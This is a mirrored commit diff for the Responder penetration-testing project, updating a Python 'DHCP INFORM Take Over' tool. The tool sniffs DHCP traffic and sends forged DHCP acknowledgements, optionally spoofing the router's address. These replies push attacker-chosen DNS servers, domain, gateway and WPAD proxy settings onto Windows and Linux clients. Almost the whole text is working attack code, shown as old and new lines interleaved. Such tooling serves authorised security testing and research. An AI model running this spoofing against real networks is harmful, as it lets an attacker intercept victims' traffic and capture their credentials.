mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-30 11:38:55 -07:00
Updated DHCP and ICMP Redirect
This commit is contained in:
jrmdev
parent
867bcdde03
commit
53e208c1b4
3 changed files with 523 additions and 498 deletions
572
tools/DHCP.py
572
tools/DHCP.py
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@ -21,352 +21,320 @@ import re
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import optparse
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import ConfigParser
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import os
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BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
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sys.path.insert(0, BASEDIR)
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from odict import OrderedDict
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from socket import inet_aton, inet_ntoa
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from packets import Packet
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from utils import *
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parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
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parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP")
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parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
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parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
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parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
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parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
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parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
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parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
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parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")
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parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof")
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parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request")
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parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
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parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
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parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
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parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
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parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
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parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
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parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
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parser.add_option('-w', '--wpadserver', action="store", help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD")
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parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof")
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parser.add_option('-R', action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests")
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options, args = parser.parse_args()
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def ShowWelcome():
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Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n'
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print Message
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if options.Responder_IP is None:
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print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
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parser.print_help()
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exit(-1)
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def color(txt, code = 1, modifier = 0):
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return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
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if options.Interface is None:
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print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
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parser.print_help()
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exit(-1)
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print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
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exit(-1)
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if options.RouterIP is None:
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print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
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parser.print_help()
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exit(-1)
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print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
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exit(-1)
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if options.DNSIP is None:
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print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
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parser.print_help()
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exit(-1)
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print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
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exit(-1)
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if options.DNSIP2 is None:
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print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
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parser.print_help()
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exit(-1)
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print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
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exit(-1)
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ShowWelcome()
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#Config parsing
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ResponderPATH = os.path.dirname(__file__)
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print '#############################################################################'
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print '## DHCP INFORM TAKEOVER 0.2 ##'
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print '## ##'
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print '## By default, this script will only inject a new DNS/WPAD ##'
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print '## server to a Windows <= XP/2003 machine. ##'
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print '## ##'
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print '## To inject a DNS server/domain/route on a Windows >= Vista and ##'
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print '## any linux box, use -R (can be noisy) ##'
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print '## ##'
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print '## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##'
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print '#############################################################################'
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print ''
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print color('[*]', 2, 1), 'Listening for events...'
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config = ConfigParser.ConfigParser()
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config.read(os.path.join(ResponderPATH,'Responder.conf'))
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RespondTo = config.get('Responder Core', 'RespondTo').strip()
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#Setting some vars
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Interface = options.Interface
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Responder_IP = options.Responder_IP
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ROUTERIP = options.RouterIP
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NETMASK = options.Netmask
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DHCPSERVER = options.Responder_IP
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DNSIP = options.DNSIP
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DNSIP2 = options.DNSIP2
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DNSNAME = options.DNSNAME
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WPADSRV = options.WPAD
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Spoof = options.Spoof
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Request = options.Request
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config.read(os.path.join(BASEDIR,'Responder.conf'))
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RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
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DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
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Interface = options.Interface
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Responder_IP = FindLocalIP(Interface)
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ROUTERIP = options.RouterIP
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NETMASK = options.Netmask
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DHCPSERVER = Responder_IP
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DNSIP = options.DNSIP
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DNSIP2 = options.DNSIP2
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DNSNAME = options.DNSNAME
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WPADSRV = options.WPAD.strip() + "\\n"
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Spoof = options.Spoof
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Respond_To_Requests = options.Respond_To_Requests
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if Spoof:
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DHCPSERVER = ROUTERIP
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def SpoofIP(Spoof):
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if Spoof:
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return ROUTERIP
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else:
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return Responder_IP
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def RespondToSpecificHost(RespondTo):
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if len(RespondTo)>=1 and RespondTo != ['']:
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return True
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else:
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return False
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def RespondToIPScope(RespondTo, ClientIp):
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if ClientIp in RespondTo:
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return True
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else:
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return False
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class Packet():
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fields = OrderedDict([
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("data", ""),
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])
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def __init__(self, **kw):
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self.fields = OrderedDict(self.__class__.fields)
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for k,v in kw.items():
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if callable(v):
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self.fields[k] = v(self.fields[k])
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else:
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self.fields[k] = v
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def __str__(self):
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return "".join(map(str, self.fields.values()))
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#####################################################################
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# Server Stuff
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#####################################################################
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DHCPSERVER = ROUTERIP
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##### IP Header #####
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class IPHead(Packet):
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fields = OrderedDict([
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("Version", "\x45"),
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("DiffServices", "\x00"),
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("TotalLen", "\x00\x00"),
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("Ident", "\x00\x00"),
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("Flags", "\x00\x00"),
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("TTL", "\x40"),
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("Protocol", "\x11"),
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("Checksum", "\x00\x00"),
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("SrcIP", ""),
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("DstIP", ""),
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])
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fields = OrderedDict([
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("Version", "\x45"),
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("DiffServices", "\x00"),
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("TotalLen", "\x00\x00"),
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("Ident", "\x00\x00"),
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("Flags", "\x00\x00"),
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("TTL", "\x40"),
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("Protocol", "\x11"),
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("Checksum", "\x00\x00"),
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("SrcIP", ""),
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("DstIP", ""),
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])
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class UDP(Packet):
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fields = OrderedDict([
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("SrcPort", "\x00\x43"),
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("DstPort", "\x00\x44"),
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("Len", "\x00\x00"),
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("Checksum", "\x00\x00"),
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("Data", "\x00\x00"),
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])
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fields = OrderedDict([
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("SrcPort", "\x00\x43"),
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("DstPort", "\x00\x44"),
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("Len", "\x00\x00"),
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("Checksum", "\x00\x00"),
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("Data", "\x00\x00"),
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])
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def calculate(self):
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self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet.
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def calculate(self):
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self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
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class DHCPACK(Packet):
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fields = OrderedDict([
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("MessType", "\x02"),
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("HdwType", "\x01"),
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("HdwLen", "\x06"),
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("Hops", "\x00"),
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("Tid", "\x22\x1b\xe0\x1a"),
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("ElapsedSec", "\x00\x00"),
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("BootpFlags", "\x00\x00"),
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("ActualClientIP", "\x00\x00\x00\x00"),
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("GiveClientIP", "\x00\x00\x00\x00"),
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("NextServerIP", "\x00\x00\x00\x00"),
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("RelayAgentIP", "\x00\x00\x00\x00"),
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("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
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("ClientMacPadding", "\x00" *10),
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("ServerHostname", "\x00" * 64),
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("BootFileName", "\x00" * 128),
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("MagicCookie", "\x63\x82\x53\x63"),
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("DHCPCode", "\x35"), #DHCP Message
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("DHCPCodeLen", "\x01"),
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("DHCPOpCode", "\x05"), #Msgtype(ACK)
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("Op54", "\x36"),
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("Op54Len", "\x04"),
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("Op54Str", ""), #DHCP Server
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("Op51", "\x33"),
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("Op51Len", "\x04"),
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("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day.
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("Op1", "\x01"),
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("Op1Len", "\x04"),
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("Op1Str", ""), #Netmask
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("Op15", "\x0f"),
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("Op15Len", "\x0e"),
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("Op15Str", DNSNAME), #DNS Name
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("Op3", "\x03"),
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("Op3Len", "\x04"),
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("Op3Str", ""), #Router
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("Op6", "\x06"),
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("Op6Len", "\x08"),
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("Op6Str", ""), #DNS Servers
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("Op252", "\xfc"),
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("Op252Len", "\x04"),
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("Op252Str", WPADSRV), #Wpad Server.
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("Op255", "\xff"),
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("Padding", "\x00"),
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fields = OrderedDict([
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("MessType", "\x02"),
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("HdwType", "\x01"),
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("HdwLen", "\x06"),
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("Hops", "\x00"),
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("Tid", "\x11\x22\x33\x44"),
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("ElapsedSec", "\x00\x00"),
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("BootpFlags", "\x00\x00"),
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("ActualClientIP", "\x00\x00\x00\x00"),
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("GiveClientIP", "\x00\x00\x00\x00"),
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("NextServerIP", "\x00\x00\x00\x00"),
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("RelayAgentIP", "\x00\x00\x00\x00"),
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("ClientMac", "\xff\xff\xff\xff\xff\xff"),
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("ClientMacPadding", "\x00" *10),
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("ServerHostname", "\x00" * 64),
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("BootFileName", "\x00" * 128),
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("MagicCookie", "\x63\x82\x53\x63"),
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("DHCPCode", "\x35"), #DHCP Message
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("DHCPCodeLen", "\x01"),
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("DHCPOpCode", "\x05"), #Msgtype(ACK)
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("Op54", "\x36"),
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("Op54Len", "\x04"),
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("Op54Str", ""), #DHCP Server
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("Op51", "\x33"),
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("Op51Len", "\x04"),
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("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
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("Op1", "\x01"),
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("Op1Len", "\x04"),
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("Op1Str", ""), #Netmask
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("Op15", "\x0f"),
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("Op15Len", "\x0e"),
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("Op15Str", ""), #DNS Name
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("Op3", "\x03"),
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("Op3Len", "\x04"),
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("Op3Str", ""), #Router
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("Op6", "\x06"),
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("Op6Len", "\x08"),
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("Op6Str", ""), #DNS Servers
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("Op252", "\xfc"),
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("Op252Len", "\x04"),
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("Op252Str", ""), #Wpad Server
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("Op255", "\xff"),
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("Padding", "\x00"),
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])
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])
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def calculate(self):
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self.fields["Op54Str"] = inet_aton(DHCPSERVER)
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self.fields["Op1Str"] = inet_aton(NETMASK)
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self.fields["Op3Str"] = inet_aton(ROUTERIP)
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self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
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self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
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self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
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def calculate(self):
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self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
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self.fields["Op1Str"] = socket.inet_aton(NETMASK)
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self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
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self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
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self.fields["Op15Str"] = DNSNAME
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self.fields["Op252Str"] = WPADSRV
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self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
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self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
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class DHCPInformACK(Packet):
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fields = OrderedDict([
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("MessType", "\x02"),
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("HdwType", "\x01"),
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("HdwLen", "\x06"),
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("Hops", "\x00"),
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("Tid", "\x22\x1b\xe0\x1a"),
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("ElapsedSec", "\x00\x00"),
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("BootpFlags", "\x00\x00"),
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("ActualClientIP", "\x00\x00\x00\x00"),
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("GiveClientIP", "\x00\x00\x00\x00"),
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("NextServerIP", "\x00\x00\x00\x00"),
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("RelayAgentIP", "\x00\x00\x00\x00"),
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("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
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("ClientMacPadding", "\x00" *10),
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("ServerHostname", "\x00" * 64),
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("BootFileName", "\x00" * 128),
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("MagicCookie", "\x63\x82\x53\x63"),
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("Op53", "\x35\x01\x05"), #Msgtype(ACK)
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("Op54", "\x36"),
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("Op54Len", "\x04"),
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("Op54Str", ""), #DHCP Server
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("Op1", "\x01"),
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("Op1Len", "\x04"),
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("Op1Str", ""), #Netmask
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("Op15", "\x0f"),
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("Op15Len", "\x0e"),
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("Op15Str", DNSNAME), #DNS Name
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("Op3", "\x03"),
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("Op3Len", "\x04"),
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("Op3Str", ""), #Router
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("Op6", "\x06"),
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("Op6Len", "\x08"),
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("Op6Str", ""), #DNS Servers
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("Op252", "\xfc"),
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("Op252Len", "\x04"),
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("Op252Str", WPADSRV), #Wpad Server.
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("Op255", "\xff"),
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fields = OrderedDict([
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("MessType", "\x02"),
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("HdwType", "\x01"),
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("HdwLen", "\x06"),
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("Hops", "\x00"),
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("Tid", "\x11\x22\x33\x44"),
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("ElapsedSec", "\x00\x00"),
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("BootpFlags", "\x00\x00"),
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("ActualClientIP", "\x00\x00\x00\x00"),
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("GiveClientIP", "\x00\x00\x00\x00"),
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("NextServerIP", "\x00\x00\x00\x00"),
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||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
("Op15", "\x0f"),
|
||||
("Op15Len", "\x0e"),
|
||||
("Op15Str", ""), #DNS Name
|
||||
("Op3", "\x03"),
|
||||
("Op3Len", "\x04"),
|
||||
("Op3Str", ""), #Router
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", ""), #Wpad Server.
|
||||
("Op255", "\xff"),
|
||||
])
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
|
||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
|
||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
|
||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
|
||||
self.fields["Op15Str"] = DNSNAME
|
||||
self.fields["Op252Str"] = WPADSRV
|
||||
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
|
||||
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = inet_aton(DHCPSERVER)
|
||||
self.fields["Op1Str"] = inet_aton(NETMASK)
|
||||
self.fields["Op3Str"] = inet_aton(ROUTERIP)
|
||||
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
|
||||
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
|
||||
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
|
||||
def SpoofIP(Spoof):
|
||||
return ROUTERIP if Spoof else Responder_IP
|
||||
|
||||
def ParseMac(data):
|
||||
return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex'))
|
||||
def RespondToThisIP(ClientIp):
|
||||
|
||||
if ClientIp.startswith('127.0.0.'):
|
||||
return False
|
||||
|
||||
if len(RespondTo) and ClientIp not in RespondTo:
|
||||
return False
|
||||
|
||||
if ClientIp in RespondTo or RespondTo == []:
|
||||
if ClientIp not in DontRespondTo:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def IsUDP(data):
|
||||
if data[0][23:24] == "\x11":
|
||||
return True
|
||||
if data[0][23:24] == "\x06":
|
||||
return False
|
||||
return True if data[0][23:24] == "\x11" else False
|
||||
|
||||
def ParseSrcDSTAddr(data):
|
||||
SrcIP = inet_ntoa(data[0][26:30])
|
||||
DstIP = inet_ntoa(data[0][30:34])
|
||||
SrcPort = struct.unpack('>H',data[0][34:36])[0]
|
||||
DstPort = struct.unpack('>H',data[0][36:38])[0]
|
||||
return SrcIP,SrcPort,DstIP,DstPort
|
||||
SrcIP = socket.inet_ntoa(data[0][26:30])
|
||||
DstIP = socket.inet_ntoa(data[0][30:34])
|
||||
SrcPort = struct.unpack('>H',data[0][34:36])[0]
|
||||
DstPort = struct.unpack('>H',data[0][36:38])[0]
|
||||
return SrcIP, SrcPort, DstIP, DstPort
|
||||
|
||||
def FindIP(data):
|
||||
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
|
||||
return ''.join(IP[0:4])
|
||||
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
|
||||
return ''.join(IP[0:4])
|
||||
|
||||
def ParseDHCPCode(data):
|
||||
PTid = data[4:8]
|
||||
Seconds = data[8:10]
|
||||
CurrentIP = inet_ntoa(data[12:16])
|
||||
RequestedIP = inet_ntoa(data[16:20])
|
||||
MacAddr = data[28:34]
|
||||
OpCode = data[242:243]
|
||||
RequestIP = data[245:249]
|
||||
if OpCode == "\x08":
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP))
|
||||
p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(CurrentIP,68))
|
||||
return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
PTid = data[4:8]
|
||||
Seconds = data[8:10]
|
||||
CurrentIP = socket.inet_ntoa(data[12:16])
|
||||
RequestedIP = socket.inet_ntoa(data[16:20])
|
||||
MacAddr = data[28:34]
|
||||
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
|
||||
OpCode = data[242:243]
|
||||
RequestIP = data[245:249]
|
||||
|
||||
if OpCode == "\x03":
|
||||
if Request:
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = inet_ntoa(IP)
|
||||
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,68))
|
||||
return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
if RespondToSpecificHost(RespondTo) == False:
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,68))
|
||||
return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
# DHCP Inform
|
||||
if OpCode == "\x08":
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
|
||||
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), \
|
||||
GiveClientIP=socket.inet_aton("0.0.0.0"), \
|
||||
NextServerIP=socket.inet_aton("0.0.0.0"), \
|
||||
RelayAgentIP=socket.inet_aton("0.0.0.0"), \
|
||||
ElapsedSec=Seconds)
|
||||
|
||||
if OpCode == "\x01":
|
||||
if Request:
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = inet_ntoa(IP)
|
||||
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,0))
|
||||
return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
if RespondToSpecificHost(RespondTo) == False:
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,0))
|
||||
return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||
|
||||
else:
|
||||
return False
|
||||
return 'Acknowleged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
|
||||
# DHCP Request
|
||||
if OpCode == "\x03" and Respond_To_Requests:
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||
|
||||
return 'Acknowleged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
|
||||
# DHCP Discover
|
||||
if OpCode == "\x01" and Respond_To_Requests:
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||
|
||||
return 'Acknowleged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
|
||||
def SendDHCP(packet,Host):
|
||||
Protocol = 0x0800
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
s.sendto(packet, Host)
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
s.sendto(packet, Host)
|
||||
|
||||
def SniffUDPMac():
|
||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||
Protocol = 0x0800
|
||||
s.bind((Interface, Protocol))
|
||||
while True:
|
||||
data = s.recvfrom(65535)
|
||||
if IsUDP(data):
|
||||
SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data)
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
Message = ParseDHCPCode(data[0][42:])
|
||||
if Message:
|
||||
print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
|
||||
print Message
|
||||
if __name__ == "__main__":
|
||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||
s.bind((Interface, 0x0800))
|
||||
|
||||
while True:
|
||||
try:
|
||||
data = s.recvfrom(65535)
|
||||
if IsUDP(data):
|
||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
print text("[DHCP] %s" % ParseDHCPCode(data[0][42:]))
|
||||
|
||||
except KeyboardInterrupt:
|
||||
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
||||
|
||||
SniffUDPMac()
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue